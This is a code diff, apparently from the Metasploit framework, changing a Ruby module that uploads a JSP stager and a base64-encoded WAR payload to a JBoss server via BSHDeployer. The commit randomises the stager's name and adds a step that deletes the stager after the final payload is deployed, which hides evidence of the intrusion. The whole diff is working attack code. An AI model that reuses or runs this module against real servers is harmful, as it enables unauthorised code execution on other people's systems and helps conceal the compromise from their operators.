@@ -41,12 +41,11 @@ def initialize
41
41
[
42
42
Opt ::RPORT ( 8080 ) ,
43
43
OptString . new ( 'APPBASE' , [ true , 'Application base name' , 'payload' ] ) ,
44
- OptString . new ( 'STAGERNAME' , [ false , 'Only used if VERB is not POST' , 'stager' ] ) ,
45
44
OptPath . new ( 'WARFILE' , [ false , 'The WAR file to deploy' ] )
46
45
] , self . class )
47
46
end
48
47
49
- def deploy_action ( app_base , stager_name , war_data )
48
+ def deploy_action ( app_base , war_data )
50
49
encoded_payload = Rex ::Text . encode_base64 ( war_data ) . gsub ( /\n / , '' )
51
50
52
51
if http_verb == 'POST'
@@ -57,6 +56,7 @@ def deploy_action(app_base, stager_name, war_data)
57
56
}
58
57
else
59
58
print_status ( "#{ peer } - Deploying stager..." )
59
+ stager_name = Rex ::Text . rand_text_alpha ( 8 + rand ( 8 ) )
60
60
stager_contents = stager_jsp ( app_base )
61
61
opts = {
62
62
:dir => "#{ stager_name } .war" ,
@@ -78,7 +78,7 @@ def deploy_action(app_base, stager_name, war_data)
78
78
unless http_verb == 'POST'
79
79
# call the stager to deploy our real payload war
80
80
stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
81
- payload_data = "#{ rand_text_alpha ( 8 +rand ( 8 ) ) } =#{ Rex ::Text . uri_encode ( encoded_payload ) } "
81
+ payload_data = "#{ Rex :: Text . rand_text_alpha ( 8 +rand ( 8 ) ) } =#{ Rex ::Text . uri_encode ( encoded_payload ) } "
82
82
print_status ( "#{ peer } - Calling stager #{ stager_uri } to deploy final payload..." )
83
83
res = deploy ( 'method' => 'POST' ,
84
84
'data' => payload_data ,
@@ -88,19 +88,28 @@ def deploy_action(app_base, stager_name, war_data)
88
88
else
89
89
print_error ( "#{ peer } - Failed to deploy final payload" )
90
90
end
91
+
92
+ # Remove the stager
93
+ print_status ( "#{ peer } - Removing stager..." )
94
+ files = { }
95
+ files [ :stager_jsp_name ] = "#{ stager_name } .war/#{ stager_name } .jsp"
96
+ files [ :stager_base ] = "#{ stager_name } .war"
97
+ delete_script = generate_bsh ( :delete , files )
98
+ res = deploy_package ( delete_script , package )
99
+ if res . nil?
100
+ print_error ( "#{ peer } - Unable to remove Stager" )
101
+ else
102
+ print_good ( "#{ peer } - Stager successfully removed" )
103
+ end
91
104
end
92
105
93
106
end
94
107
95
- def undeploy_action ( app_base , stager_name )
108
+ def undeploy_action ( app_base )
96
109
# Undeploy the WAR and the stager if needed
97
110
print_status ( "#{ peer } - Undeploying #{ app_base } by deleting the WAR file via BSHDeployer..." )
98
111
99
112
files = { }
100
- unless stager_name . nil?
101
- files [ :stager_jsp_name ] = "#{ stager_name } .war/#{ stager_name } .jsp"
102
- files [ :stager_base ] = "#{ stager_name } .war"
103
- end
104
113
files [ :app_base ] = "#{ app_base } .war"
105
114
delete_script = generate_bsh ( :delete , files )
106
115
@@ -114,22 +123,16 @@ def undeploy_action(app_base, stager_name)
114
123
115
124
def run
116
125
app_base = datastore [ 'APPBASE' ]
117
- if http_verb == 'POST'
118
- stager_name = nil
119
- else
120
- stager_name = datastore [ 'STAGERNAME' ]
121
- stager_name = "stager" if stager_name . blank?
122
- end
123
126
124
127
case action . name
125
128
when 'Deploy'
126
129
unless File . exist? ( datastore [ 'WARFILE' ] )
127
130
print_error ( "WAR file not found" )
128
131
end
129
132
war_data = File . read ( datastore [ 'WARFILE' ] )
130
- deploy_action ( app_base , stager_name , war_data )
133
+ deploy_action ( app_base , war_data )
131
134
when 'Undeploy'
132
- undeploy_action ( app_base , stager_name )
135
+ undeploy_action ( app_base )
133
136
end
134
137
end
135
138
end
0 commit comments